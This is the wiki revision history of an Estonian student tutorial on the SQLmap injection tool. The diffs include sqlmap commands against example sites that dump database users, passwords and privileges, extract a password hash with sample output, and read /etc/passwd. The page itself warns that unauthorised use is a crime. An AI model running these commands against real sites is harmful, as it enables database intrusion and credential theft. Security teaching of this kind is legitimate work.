Sqlmap - Revision history

Eprudnik: /* SQLmap */

2015-05-14T15:14:56Z

SQLmap

← Older revision		Revision as of 18:14, 14 May 2015
Line 6:		Line 6:
	Rühm: A21		Rühm: A21

	~~Mai~~ 2015		14.05.2015
	'''''		'''''
	== Lühikirjeldus ==		== Lühikirjeldus ==

Eprudnik at 15:12, 14 May 2015

2015-05-14T15:12:06Z

@@ Line 145: / Line 145: @@
 ==Kasutamine==
 '''
 '''
 ====Andmebaasid ja tabelid====

Eprudnik at 15:06, 14 May 2015

2015-05-14T15:06:22Z

← Older revision		Revision as of 18:06, 14 May 2015
Line 139:		Line 139:
	--file-dest=DFILE Absoluutne failitee kuhu kirjutada		--file-dest=DFILE Absoluutne failitee kuhu kirjutada
	</pre>		</pre>

			Lisaks on SQLmap'il veel väga palju muid võtmeid.

	'''		'''

Eprudnik at 15:03, 14 May 2015

2015-05-14T15:03:42Z

← Older revision		Revision as of 18:03, 14 May 2015
Line 13:		Line 13:

	SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]		SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]

			Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]

	<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span>		<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span>
Line 23:		Line 25:

	'''		'''
	====1. Linux/Unix====		====Linux/Unix====
	'''		'''

Line 60:		Line 62:

	'''		'''
	====2. Windows====		====Windows====
	'''		'''

Line 142:		Line 144:
	'''		'''
	'''		'''
	====1. Andmebaasid ja tabelid====		====Andmebaasid ja tabelid====
	'''		'''

	1. Oletame, et tahame SQLmap'iga testida veebilehte. ~~Selleks laseme SQLmap~~'~~il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame~~ võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]		1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega '''ühendumiseks''' kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]

	<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre>		<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre>
Line 268:		Line 270:

	'''		'''
	====2. Kasutajad====		====Kasutajad====
	'''		'''

	Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]		1. Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]

	<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre>		<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre>
Line 326:		Line 328:
	privilege: UPDATE</pre>		privilege: UPDATE</pre>

	Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]		2. Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]

	<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre>		<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre>
Line 356:		Line 358:
	current user is DBA: False</pre>		current user is DBA: False</pre>

			3. Leiame kasutaja '''parooliräsi''':[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]

			<pre>sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump</pre>

			Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]

			<pre>[10:59:15] [INFO] the SQL query used returns 1 entries
			[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
			[10:59:18] [INFO] analyzing table dump for possible password hashes
			Database: sqldummywebsite
			Table: user_info
			[1 entry]
			+---------------+
			\| user_password \|
			+---------------+
			\| 24iYBc17xK0e. \|
			+---------------+</pre>
	'''		'''
	====2. Failid====		====Failid====
	'''		'''

	'''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]		1. '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]

	<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre>		<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre>

			'''
			==Kokkuvõte==
			'''

			SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all.

	'''		'''
Line 373:		Line 398:
	[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]		[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]

	[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap]		[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]

			[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]

			[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]

Eprudnik at 14:43, 14 May 2015

2015-05-14T14:43:52Z

@@ Line 77: / Line 77: @@
 [http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]
 '''
@@ Line 85: / Line 145: @@
 '''
-. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes.[http://www.binarytides.com/sqlmap-hacking-tutorial/]
+. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]
 <pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre>
@@ Line 211: / Line 271: @@
 '''
-Järgnev käsk tagastab infot kasutajate ja rollide kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]
+Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]
 <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre>
@@ Line 266: / Line 326: @@
      privilege: UPDATE</pre>
-Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]
+Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]
 <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre>
@@ Line 300: / Line 360: @@
 '''
-Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]
+'''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]
 <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre>

Eprudnik at 14:08, 14 May 2015

2015-05-14T14:08:05Z

Show changes

Eprudnik at 13:39, 14 May 2015

2015-05-14T13:39:08Z

@@ Line 12: / Line 12: @@
 SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]
-SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jne. [http://sqlmap.org/]
+SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]
 <span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span>
@@ Line 19: / Line 19: @@
 ==Paigaldamine==
 '''
 '''
 ====1. Linux/Unix====
 '''

Eprudnik at 13:09, 14 May 2015

2015-05-14T13:09:09Z

← Older revision		Revision as of 16:09, 14 May 2015
Line 5:		Line 5:

	Rühm: A21		Rühm: A21

	Mai 2015		Mai 2015
	'''''		'''''
Line 11:		Line 12:
	SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]		SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]

	SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi ~~jpm~~. [http://sqlmap.org/]		SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jne. [http://sqlmap.org/]

			<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span>

			'''
			==Paigaldamine==
			'''

	~~NB! SQLmap~~'~~i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või~~		'''
			====1. Linux/Unix====
			'''

Eprudnik at 13:03, 14 May 2015

2015-05-14T13:03:14Z

← Older revision		Revision as of 16:03, 14 May 2015
Line 1:		Line 1:
	Elina Prudnikova 2015 ~~A21~~		'''''
			= SQLmap =
			'''''
			Autor: Elina Prudnikova

			Rühm: A21
			Mai 2015
			'''''
			== Lühikirjeldus ==
			'''''
			SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]

			SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jpm. [http://sqlmap.org/]

			NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või

Eprudnik: Created page with "Elina Prudnikova 2015 A21"

2015-05-11T09:35:58Z

Created page with "Elina Prudnikova 2015 A21"

New page

Elina Prudnikova 2015 A21